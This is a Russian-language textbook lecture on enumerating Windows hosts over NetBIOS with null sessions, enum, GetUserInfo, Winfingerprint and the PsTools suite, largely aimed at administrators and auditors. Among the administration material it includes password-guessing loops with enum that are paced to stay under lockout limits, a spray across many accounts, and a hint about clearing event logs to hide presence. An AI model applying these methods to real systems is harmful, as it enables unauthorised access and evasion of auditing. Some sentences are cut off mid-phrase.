В рассказе Конан Дойля "Долина страха" Шерлок Холмс бранит полицейского инспектора: "Широта кругозора - одно из главных требований в нашей профессии. Взаимосвязь идей и косвенное использование знаний зачастую бывает невероятно интересным". В этой лекции мы надеемся продемонстрировать, как коллекционирование знаний об удаленном компьютере может быть использовано в личных целях. Меньше всего вам понравится создавать список пользователей, которые имеют интерактивный доступ к исследуемой системе; но можно получить и большое количество другой информации. Какие использованы (или не использованы) исправления в системе? Подбор пароля один из старейших, наиболее часто используемых методов атаки системы, но блокирует ли система вход после нескольких последовательных вводов неправильного пароля?
Знания об удаленной системе помогут вам сделать предположения о возможной уязвимости системы. В других случаях области коллективного доступа со значимой информацией могут быть сконфигурированы для анонимного доступа. Вам необходимо искать исчерпывающую информацию, превосходящую данные сканирования портов.
Большинство информации о Windows может быть получено из области общего пользования ( содержит много системной и пользовательской информации, необходимой для обслуживания их запросов.
Наиболее распространенный вид соединения - NULL -соединение или анонимное, которое может быть установлено вручную с использованием команды net:
C:\>net use \\target\ipc$ " " /u:" "
Команда smbclient (из набора команд поддержки Samba) также может установить анонимное соединение, но только команда net use устанавливает соединение, поверх которого может работать другое приложение.
$ smbclient \\\\target\\ipc\$ " " -U " "
Важность этого простого, анонимного соединения состоит в том, чтобы продемонстрировать, как вы можете использовать инструменты для получения большого количества информации об исследуемой системе.
Утилита Winfingerprint активно разрабатывается, доступна в исходных кодах и позволяет получить большое количество информации из
Winfingerprint основана на графическом интерфейсе пользователя (GUI). Программа может сканировать единичный хост или непрерывный интервал сети. Состав запрашиваемой информации определяется установкой соответствующих отметок в формах. В этом есть только один неясный момент: нажимая кнопку OK, вы подразумеваете команду "сканировать хост". Рисунок 7.1 демонстрирует сканирование с отмеченным флагом NetBIOS.
(рис 7.1) Сканирование WinfingerprintЭто не главный фокус в использовании Winfingerprint. Но, тем не менее, отметим некоторую полезную информацию.
Winfingerprint может определить с некоторой степенью подробности тип сервера и его операционную систему. Идентификаторы первичных контроллеров доменов (Winfingerprint выводит список системных идентификаторов ID (SID) для каждого пользователя. Так можно определить администратора (SID 500).Несмотря на извлекаемое количество информации, Winfingerprint, как все программы с графическим интерфейсом, имеет тот же недостаток - он не может быть запущен под управлением файла параметров. Интерфейс также позволяет задать большой интервал для сканирования, что приведет к получению результата в не слишком удобном формате. Можно использовать Perl-скрипт для анализа результата по ключевым полям, но это будет весьма неудобно для большой сети.
Для администраторов, которые хотят получить доступ к самым свежим возможностям Winfingerprint, доступны исходные коды программы. Используйте
$ cvs -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint login (Logging in to anonymous@cvs.winfingerprint.sourceforge.net) CVS password: $ cvs -z3 -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net :/cvsroot/winfingerprint co winfingerprint
Результирующая директория содержит рабочий проект для Visual Studio. Откройте проект Visual Studio Project (
). Эта коллекция включает в себя несколько утилит, составляющих набор инструментов для администраторов, которым действительно требуется залезть внутрь Windows.
net user, с несколькими мелкими отличиями, на которые важно обратить внимание. Строки, представленные жирным шрифтом, содержат информацию, которой нет в сообщениях команды net user.
C:\>GetUserInfo.exe administrator GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User information for [Local]\administrator User Name Administrator Full Name Description Built-in account for administering the computer/domain User's Comment User Type Admin Enhanced Authority Account Type Global Workstations Home Directory User Profile Logon Script Flags NO_PWD_EXPIRE Account Expires Never Password age in days 249 Password last set 7/6/2001 3:22 PM Bad PWD count 0 Num logons (this machine) 2432 Last logon 3/12/2002 8:24 PM Logon hours All Global group memberships *None Local group memberships *Administrators Completed.
Используя информацию о паролях (возраст, счетчик ошибочно введенных паролей, число входов в систему), вы можете сделать несколько выводов об этом пользователе. Неправильно введенные пароли могут свидетельствовать о предпринимаемых атаках или, если вы сами совершаете такую атаку, о том, как близко вы к пределу возможного количества попыток ввода неверного пароля. Возраст пароля может свидетельствовать о старом, не изменявшемся пароле, что является признаком пользовательского профиля, который никогда не использовался. Количество входов в систему может свидетельствовать об интенсивности использования соответствующего пользовательского профиля. Профиль с большим количеством входов может означать, что пользователь часто использует систему; соответственно малое количество входов может говорить о не слишком частой проверке системы. Конечно, количество входов в систему больше нуля для заблокированного пользователя (например, guest) означает, что в сети произошло нечто.
Используя символ точки (.), можно перечислить всех пользователей системы. Посмотрите на правильный синтаксис.
C:\>GetUserInfo.exe \. GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002 User Accounts for [Local] --------------------------------------------------------------------- Administrator Orc skycladgirl test __vmware_user__
С этого момента вы можете повторять просмотр для каждого пользователя для сбора специфической информации о пользовательском профиле. Утилиты командной строки хороши, а средства командной строки, которые могут работать на удаленной системе, просто великолепны. GetUserInfo может извлекать информацию о заданном домене или сервере.
C:\>GetUserInfo.exe \\192.168.0.43\. C:\>GetUserInfo.exe domain\\192.168.0.43\.
Замените точку именем пользователя для получения сведений о заданном пользователе.
.
Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.
C:\>enum.exe usage: enum.exe [switches] [hostname|ip] -U: get userlist -M: get machine list -N: get namelist dump (different from -U|-M) -S: get sharelist -P: get password policy information -G: get group and member list -L: get LSA policy information -D: dictionary crack, needs -u and -f -d: be detailed, applies to -U and -S -c: don't cancel sessions -u: specify username to use (default "") -p: specify password to use (default "") -f: specify dictfile to use (wants -D)
Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу
C:\>enum -UPG 192.168.0.139
server: 192.168.0.139
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
getting user list (pass 1, index 0)... success, got 5.
Administrator Guest IUSR_ALPHA IWAM_ALPHA
TsInternetUser
Group: Administrators
ALPHA\Administrator
Group: Guests
ALPHA\Guest
ALPHA\TsInternetUser
ALPHA\IUSR_ALPHA
ALPHA\IWAM_ALPHA
Group: Power Users
cleaning up... success.
Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).
Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.
C:\>enum.exe -MNS 66.192.0.139
server: 66.192.0.139
setting up session... success.
getting namelist (pass 1)... got 5, 0 left:
Administrator Guest IUSR_ALPHA IWAM_ALPHA
TsInternetUser
enumerating shares (pass 1)... got 3 shares, 0 left:
IPC$ ADMIN$ C$
getting machine list (pass 1, index 0)... success, got 0.
cleaning up... success.
Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.
Используем параметр -L для получения информации о Local Security Authority (
C:\>enum.exe -L 66.192.0.139
server: 66.192.0.139
setting up session... success.
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: ALPHA
domain: MOONBASE
quota:
paged pool limit: 33554432
nonpaged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 0
trusted domains:
indeterminate
netlogon done by a PDC server
cleaning up... success.
Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.
Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.
C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
Administrator и называют администратором гостевой профиль ( Guest ). Неопытные взломщики, которые не могут найти правильного административного профиля, могут просто потерять время даром. Обратите внимание на число -500 в значении идентификатора пользователя SID.Пример из жизни. Угадай пароль!
Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.
C:\enum -P 192.168.0.36
server: 192.168.0.36
setting up session... success.
password policy:
min length: 7
min age: 2 days
max age: 42 days
lockout threshold: 5
lockout duration: 30 mins
lockout reset: 30 mins
cleaning up... success.
Воспользуйтесь этой информацией, чтобы настроить взлом перебором.
Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.
Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.
C:\enum -D -u Administrator -f dict.txt
Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).
C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36 output.txt sleep 180s
Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.
C:\enum -G 192.168.0.36
Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.
C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do enum -u %%u -p %%p -M 192.168.0.36 output.txt
При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.
Комплект . Утилиты enum и Winfingerprint довольствуются установлением NULL PsTools требуют пользовательских полномочий для реализации некоторых возможностей. Тем не менее, этот набор утилит возвращает открытый порт NetBIOS к лучшим временам удаленного выполнения команд. Вместо описания утилит в алфавитном порядке, мы начнем с наиболее безобидных и работающих универсально. Набор администратора Windows должен содержать эти средства, поскольку они существенно упрощают удаленное администрирование.
Но для начала сделаем несколько замечаний об использовании этих программ.
В системе, где администрирование осуществляется с использованием графического интерфейса пользователя, левой кнопки мыши и терминальных служб, этот набор программ сохранит от излишнего напряжения в процессе работы.
sniffing -атаках, убедитесь, что ваши Windows 2000- и XP-серверы используют NTLMv2. Это дефект скрытой схемы аутентификации Windows, а не PsTools. Обратитесь к лекции "Средства взлома/подбора паролей" для получения дополнительной информации о паролях Windows.PsTools содержит 10 различных утилит, существенно упрощающих администрирование больших сетей. Удаленный доступ с использованием Terminal Services также способствует этому, но эти утилиты могут быть составной частью автоматических скриптов, включающих в себя журналы, списки активных пользователей, или могут выполняться по команде в дюжине систем.
PsFile дает возможность получить список файлов на хосте, которые используются другим хостом. Эта утилита зеркально воспроизводит net file. Программа используется для отладки общего доступа к файлам и контроля неавторизованного доступа к файлам. Ниже приводится сокращенный вывод.
C:\>psfile.exe
Files opened remotely on GOBLYNSWOOD:
[23] D:\downloads\VMware-license-linux.txt
User: ORC
Locks: 0
Access: Read
C:\>net file
ID Path User name # Locks
---------------------------------------------------------------
23 D:\downloads\VMware-license-linux.txt ORC 0
The command completed successfully.
Можно сказать, что пользователь ORC просматривает лицензионную информацию нашего приложения VMware. Эта программа не может дать сведений, откуда пользователь осуществляет доступ. Это работа для netstat. Что общего между двумя этими командами? Параметр -c работает точно так же, как и параметр /close программы net file. Он закрывает соединение, основанное на идентификаторе пользователя ID (отмечено жирным шрифтом в предыдущем примере).
C:\>psfile.exe 23 -c Closed file D:\downloads\VMware-license-linux.txt on GOBLYN.
Кажется, нет никакого преимущества по сравнению с утилитой net. Однако каждая утилита из набора PSTools работает поверх
C:\>psfile.exe \\192.168.0.176 -u Administrator -p IM!secure
Files opened remotely on 192.168.0.176:
[32] \PIPE\srvsvc
User: ADMINISTRATOR
Locks: 0
Access: Read Write
Если вы запустите программу psfile для хоста localhost и зададите его IP-адрес, то увидите, что он открывает соединение со службой server.
PsTool принимает в командной строке последовательность \\RemoteHost -u UserName -p password, даже если в справке ( /h ) ничего об этом не говорится.PsTools не заподозришь в запутанном соглашении об именовании. PsLoggedOn отображает пользователей, которые работают в системе, неважно, соединившись с помощью консоли, используя файлы или другим удаленным методом.
C:\>psloggedon.exe
Users logged on locally:
Unknown NT AUTHORITY\LOCAL SERVICE
Unknown NT AUTHORITY\NETWORK SERVICE
3/10/2002 11:23:49 AM GOBLYNSWOOD\pyretta
Unknown NT AUTHORITY\SYSTEM
Users logged on via resource shares:
3/12/2002 12:04:12 AM (null)\ORC
Список пользователей, соединившихся с системой общими ресурсами, может быть особенно интересен для администраторов. Можно управлять задачами, которые проверяют чувствительные системы, такие как контроллеры доменов, Web-серверы или базы данных финансового департамента. Вы можете понадеяться на журнал
Предполагая перспективу атак, будет предусмотрительно перехватывать атаки по переполнению буфера.
Переименование пользователя Administrator в "TeflonBilly" неплохо, но недостаточно для реальной безопасности. С использованием PsGetSid, любой, кто может установить NULL -соединение может получить строку, называемую "секретный идентификатор SID " (RID (Relative Identifier). Для пользователя с правами администратора, независимо от его имени, RID всегда равен 500 - практически, как у пользователя root в Unix, этот параметр всегда равен 0. Для гостевого профиля этот параметр всегда равен 501. Эти два RID -идентификатора никогда не изменяются.
C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure Orc SID for 192.168.0.176\\Orc: S-1-5-21-1454471165-484763869-1708537768-501
SID, которая заканчивается на -500. В противном случае, знайте, что профиль был переименован.Запрос идентификатора SID не может быть адресован для конкретного пользователя. PsGetSid может перечислить другие объекты, такие как компьютеры или группы пользователей.
C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure goblynswood SID for 192.168.0.176\\goblynswood: S-1-5-21-1454471165-484763869-1708537768 C:\>psgetsid.exe \\192.168.0.176 -u Administrator -p IM!secure "Power Users" SID for 192.168.0.176\\goblynswood: S-1-5-32-547
Сам по себе этот тип информации обычно не используется, но вместе со значениями RID -пользователей, полученных из -файлов, эти данные покрывают существенную часть структуры аутентификации домена.
Операционная система, продолжительность непрерывной работы (основанная на анализе PsInfo, как о бесполезном инструменте. Эта программа возвращает полезную информацию о системе. И помните, она делает это удаленно!
C:\>Psinfo.exe System information for \\GOBLYNSWOOD: Uptime: 8 days, 2 hours, 59 minutes, 9 seconds Kernel version: Microsoft Windows 2000, Uniprocessor Free Product type: Professional Product version: 5.0 Service pack: 2 Kernel build number: 2195 Registered organization: twilight conclave Registered owner: mps Install date: 1/2/2001, 3:03:03 PM System root: E:\WINNT Processors: 1 Processor speed: 1.0 GHz Processor type: x86 Family 6 Model 8 Stepping 10, GenuineIntel Physical memory: 320 MB HotFixes: Q147222: No Description Q252795: Windows 2000 Hotfix (Pre-SP3) [See Q252795 for more information] Q276471: Windows 2000 Hotfix (Pre-SP3) [See Q276471 for more information] Q285156: Windows 2000 Hotfix (Pre-SP3) [See Q285156 for more information] Q285851: Windows 2000 Hotfix (Pre-SP3) [See Q285851 for more information] Q295688: No Description Q296185: Windows 2000 Hotfix (Pre-SP3) [See Q296185 for more information] Q298012: Windows 2000 Hotfix (Pre-SP3) [See Q298012 for more information] Q299553: Windows 2000 Hotfix (Pre-SP3) [See Q299553 for more information] Q299796: Windows 2000 Hotfix (Pre-SP3) [See Q299796 for more information] Q302755: Windows 2000 Hotfix (Pre-SP3) [See Q302755 for more information] Q314147: Windows 2000 Hotfix (Pre-SP3) [See Q314147 for more information] SP2SRP1: Windows 2000 Security Rollup Package [See Q311401 for more information]
PsInfo предоставляет быстрый способ для проверки ваших серверов на предмет последних обновлений. Если у вас работает IIS, вы должны трепетно относиться к последним обновлениям и заплаткам. PsInfo получает информацию о последних обновлениях из настроек HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ системного реестра, поэтому некоторые заплатки приложений могут быть не внесены в этот список.
Использование командного файла упрощает ревизию системы.
C:\>for /L %i in (1,1,254) do psinfo \\192.168.0.%i > systeminfo_192.168.0.%i.txt
Обратите внимание, что мы обошли полномочия аутентификации. Если вы собираетесь создать пакетный файл, который требует доступа к удаленной системе, не помещайте имя пользователя и пароль в командный файл. Вместо этого запустите пакетный файл в контексте пользователя домена с полномочиями для ревизии этой информации. Проблема, с которой вы можете столкнуться, состоит в сложности доступа к системам, которые не являются частью домена.
PsInfo - фантастическое средство для управления конфигурацией. Мало других систем дают информацию об обновлениях по удаленному запросу.Это сильное средство для обеспечения удаленного просмотра и манипуляции службами. Команды Windows net start и net stop трепещут в присутствии PsService. Без параметров командной строки PsService возвращает список служб, установленных в системе. Следующий урезанный для краткости вывод содержит полную информацию о двух службах.
C:\>psservice.exe
SERVICE_NAME: inetd
DISPLAY_NAME: CYGWIN inetd
(null)
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
SERVICE_NAME: SharedAccess
DISPLAY_NAME: Internet Connection Firewall (ICF) / Internet Connection
Sharing (ICS)
Provides network address translation, addressing, name resolution
and/or intrusion prevention services for a home or small office network.
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 4 RUNNING
(STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Информация о службах, независимо от того, работает служба или нет, показывает роль системы, установленное программное обеспечение поддержания безопасности и, возможно, относительное значение для сети. Сервер, который осуществляет резервное копирование PsService обеспечивает возможность управления службами. Задайте одну из следующих команд для манипуляции службой.
C:\>psservice.exe /?
PsService v1.01 - local and remote services viewer/controller
Copyright (C) 2001 Mark Russinovich
Sysinternals - www.sysinternals.com
PsService lists or controls services on a local or remote Win2K/NT system.
Usage: psservice.exe [\\Computer [-u Username [-p Password]]] cmd optns
Cmd is one of the following:
query Queries the status of a service
config Queries the configuration
start Starts a service
stop Stops a service
restart Stops and then restarts a service
pause Pauses a service
cont Continues a paused service
depend Enumerates the services that depend on the one specified
find Searches for an instance of a service on the network
После команды задайте имя службы, для которой следует получить результат. Например, здесь представлено, как запустить IIS на удаленном компьютере (предполагая, что вы вошли в домен как администратор).
C:\>psservice.exe \\192.168.0.39 start w3svc
Вы можете также запустить, перезагрузить, приостановить и продолжить работу службы. Команда config слегка отличается от команды query, которая обеспечивает получение информации при запуске PsService без параметров. Команда config возвращает информацию о службах, которые работают на самом деле.
C:\>psservice.exe config inetd
SERVICE_NAME: inetd
(null)
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : d:\cygwin\usr\sbin\inetd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : CYGWIN inetd
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
И, наконец, команда find может быть использована для поиска службы, работающей в сети. Она работает подобно сканеру сети. Например, для поиска хостов в домене, на которых выполняется служба Terminal Services, следует искать службу termservice.
C:\>psservice.exe find termservice Found termservice on: \\ZIGGURAT \\GOBLYNSWOOD
Используйте это совпадение со сканером портов для определения "кривых" установок IIS в вашей сети.
PsList отображает список процессов на локальной или удаленной машине. Параметры -d, -m и -x отображают информацию о нитях, памяти и соответственно, комбинацию этих двух параметров. Однако можно использовать просто pslist.
C:\>pslist.exe Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time Idle 0 0 1 0 16 0:00:00.000 3:57:29.219 0:00:00.000 System 8 8 39 319 216 0:00:00.000 0:00:11.536 0:00:00.000 SMSS 152 11 6 33 560 0:00:00.210 0:00:00.741 4:27:11.031 CSRSS 180 13 10 494 3560 0:00:00.650 0:01:30.890 4:26:59.084 WINLOGON 200 13 17 364 3256 0:00:00.230 0:00:01.081 4:26:55.879 SERVICES 228 9 30 561 5640 0:00:01.542 0:00:03.535 4:26:48.058 LSASS 240 9 14 307 520 0:00:00.260 0:00:00.230 4:26:48.028 svchost 420 8 9 333 3748 0:00:00.150 0:00:00.150 4:26:41.839 spoolsv 452 8 12 166 3920 0:00:00.070 0:00:00.160 4:26:41.088
Вы также можете получить информацию о конкретном процессе по имени или идентификатору ID, обратившись к нему в командной строке. Например, чтобы увидеть, сколько ресурсов пожирает Internet Explorer, попытайтесь выполнить следующее.
C:\pslist.exe iexplore Process information for GOBLYNSWOOD: Name Pid Pri Thd Hnd Mem User Time Kernel Time Elapsed Time IEXPLORE 636 8 17 805 26884 0:00:14.711 0:00:17.154 4:38:27.694 IEXPLORE 1100 8 28 1054 27980 0:00:24.375 0:00:40.888 4:36:25.388
ID (PID) программы LSASS. PsList - великолепный способ узнать его.Параметры -s и -r могут пригодиться для мониторинга важных серверов или отладки. Параметр -s переводит PsList в режим диспетчера задач. Другими словами, он обеспечивает непрерывное обновление до тех пор, пока вы не нажмете Esc - практически, как для команды top в Unix. Параметр -r устанавливает время обновления в секундах. Например, вы можете осуществлять мониторинг процесса IIS на Web-сервере каждые 10 секунд.
C:\>pslist.exe -s -r 10 inetinfo.exe
Параметр -t отображает каждый процесс и его нить в формате дерева, упрощая визуализацию взаимосвязи процессов в системе. Ниже представлен сокращенный вывод, который отображает системные нити.
C:\>pslist.exe -t
Process information for GOBLYNSWOOD:
Name Pid Pri Thd Hnd VM WS Priv
Idle 0 0 1 0 0 16 0
System 8 8 39 323 1668 216 24
SMSS 152 11 6 33 5248 560 1072
CSRSS 180 13 10 502 22700 3576 1512
WINLOGON 200 13 17 364 35812 3252 5596
SERVICES 228 9 31 563 33748 5652 2772
svchost 420 8 9 333 22624 3748 1528
MDM 1420 8 3 96 25996 2640 924
Avsynmgr 556 8 4 139 28024 2708 1460
VSStat 896 8 2 112 26376 2664 1376
vshwin32 956 8 7 219 54220 6468 3908
WebScanX 1036 8 3 194 40020 6052 4628
Avconsol 976 8 2 112 28500 2640 1484
svchost 592 8 33 449 43592 8084 3364
LSASS 240 9 14 307 28080 864 2344
explorer 1200 8 17 468 99580 4460 11912
Получив список процессов, вы можете уничтожить (или подвесить) процесс. Программа PsKill принимает в качестве аргумента или имя процесса или его идентификатор. Если вы точно знаете идентификатор PID, вам может понадобиться использовать PsKill совместно с PsList. С другой стороны, задав процесс по имени, можно удалить больше процессов, чем вы рассчитывали. Оба метода чувствительны к такому типу уязвимости, как "oops" - ошибка в значении PID и случайное удаление ошибочно введенного процесса.
C:\>pslist.exe | findstr /i notepad notepad 1764 8 1 30 1728 0:00:00.020 0:00:00.020 0:00:07.400 notepad 1044 8 1 30 1724 0:00:00.020 0:00:00.020 0:00:05.077 notepad 1796 8 1 30 1724 0:00:00.010 0:00:00.020 0:00:03.835 C:\>pskill.exe 1764 process #1764 killed C:\>pskill.exe notepad 2 processes named notepad killed.
Внимание. Будьте бдительны, удаляя процесс по имени. PsKill выбирает все процессы, а не только тот, который встретится первым. Эффект, сходный с использованием регулярного выражения, вроде звездочки (*).
PsSuspend работает аналогично. Задайте имя процесса или ID после имени команды, чтобы приостановить процесс.
C:\>pssuspend.exe 1116 Process 1116 suspended.
Используйте параметр -r для возобновления работы процесса.
C:\>pssuspend.exe -r 1116 Process 1116 resumed.
NetBIOS не открывает всей системы. Однако существует проблема, связанная с открытым NetBIOS-портом и пустым паролем администратора (мы могли это прекрасно видеть). Используйте PsTools для аудита вашей сети.Журнал PsLogList открыло две возможности: журнал может быть преобразован в текстовый формат и разобран в таблицу другого формата, и журналы могут быть получены удаленно для консолидации, резервирования и сохранения их содержания.
PsLogList отображает содержимое журнала в расширенном или консолидированном форматах, с запятыми вместо PsLogList выводит информацию в расширенном варианте.
C:\>psloglist.exe System log on \\GOBLYNSWOOD: [16554] Dhcp Type: WARNING Computer: GOBLYNSWOOD Time: 3/11/2002 11:01:28 PM ID: 1003 Your computer was not able to renew its address from the network (from the DHCP Server) for the Network Card with network address 00047644DFBF.The following error occurred: The semaphore timeout period has expired. Your computer will continue to try and obtain an address on its own from the network address (DHCP) server.
Вывод в формате с разделителями производится, если воспользоваться параметром -s. Как обычно, пример сокращен для удобства.
C:\>psloglist.exe -s System log on \\GOBLYNSWOOD: 16554,System,Dhcp,WARNING,GOBLYNSWOOD,Mon Mar 11 23:01:28 2002,1003,None,... 16553,System,Application Popup,INFORMATION,GOBLYNSWOOD,Mon Mar 11...
Можно просмотреть любой из трех журналов (
C:\>psloglist.exe -s security Security log on \\GOBLYNSWOOD: 14308,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:49:35 2002,538,Orc\GOBLYNSWOOD,orcGOBLYNSWOOD(0x0,0x119382)3 14307,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:32:00 2002,538,Administrator\GOBLYNSWOOD,AdministratorGOBLYNSWOOD(0x0,0x119513)3
Параметр -f дает возможность фильтровать сообщения о событиях пятью способами: Warning (w), Information (i), Errors (e), Audit Success и Audit Failure. (Символы в скобках представляют собой сокращения, которые воспринимает PsLogList на входе). Два способа аудита применимы только для анализа журнала безопасности и должны вводиться в кавычках.
C:\>psloglist.exe -s -f "Audit Success" Security Security_successes.log
Используйте PsLogList для помощи в управлении вашей политикой сетевого аудита. Хотя эта программа не может переключить установки журнала событий, используйте программу для координации журналов и создания ежедневных, еженедельных или ежемесячных отчетов о своей сети. Надлежащий просмотр журнала поможет не только определить подозрительных пользователей, но и обеспечит
В заключение еще одно замечание: параметр -c очищает системный журнал после того, как он сброшен в текстовый файл. Используйте этот параметр с осторожностью, поскольку вы можете неумышленно очистить системный журнал до того, как сделана его резервная копия.
C:\>psloglist.exe -c Application ...output truncated... Application event log on GOBLYNSWOOD cleared. C:\psloglist.exe Application Application log on \\GOBLYNSWOOD: No records in Application event log on GOBLYNSWOOD.
-c, чтобы очистить журнал и тем самым скрыть свое присутствие.Параметры -a и -b позволяют получить информацию о событиях, происшедших после или до заданной даты, введенной в формате мм/дд/гг. Ниже приведен образец того, как запросить информацию о событиях, относящихся к системе безопасности за предыдущую дату (02/09/02 - текущий день).
C:\>psloglist.exe -a 02/08/02 -b 02/09/02 Security
PsLogList читает журнал в двоичном формате из любой системы. Введите перед именем файла параметр -l. PsLogList определит тип
C:\>psloglist.exe -l Security.evt
PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.
PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).
C:\>psexec.exe \\192.168.0.43 cmd /c dir
Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.
C:\>psexec.exe \\192.168.0.43 ipconfig /all C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\ \backups Rch!ve /u:backup C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd
Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f ). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.
C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o targets.txt 192.168.0.1-192.168.0.255
Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.
Последние три параметра управляют -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.
PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже ( psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).
C:\>psshutdown.exe
PsShutdown v1.01 - Local and remote shutdown/reboot program
Copyright (C) 2000 Mark Russinovich
Sysinternals - www.sysinternals.com
usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer]
-t Specifies countdown in seconds until shutdown (default: 20 seconds)
-m Message to display to logged on users
-f Forces running applications to close
-r Reboot after shutdown
-a Abort a shutdown (only possible while countdown is in progress)
-l Shutdown the local system
\\computer Shutdown the remote computer specified
